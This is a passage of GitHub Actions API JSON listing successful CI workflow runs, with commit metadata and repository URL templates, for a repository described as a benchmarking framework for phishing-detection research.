l":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287502807,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTAyODA3","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":280,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285602835,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjAyODM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287502807","pull_requests":[],"created_at":"2020-10-04T06:22:09Z","updated_at":"2020-10-04T06:24:50Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285602835","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287480129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDgwMTI5","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":1069,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285563167,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTYzMTY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287480129","pull_requests":[],"created_at":"2020-10-04T05:59:29Z","updated_at":"2020-10-04T06:13:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285563167","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287450921,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDUwOTIx","head_branch":"API_Flatten","head_sha":"abd4d873954e344d76546c5953b1ac507f664b7d","run_number":1068,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285504367,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTA0MzY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287450921","pull_requests":[],"created_at":"2020-10-04T05:17:23Z","updated_at":"2020-10-04T05:34:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285504367","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287450921/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"abd4d873954e344d76546c5953b1ac507f664b7d","tree_id":"d5ca971c0bd1e2cbb34ae66a5be5dc15fe7d8294","message":"Unified extract_features","timestamp":"2020-10-04T05:17:18Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/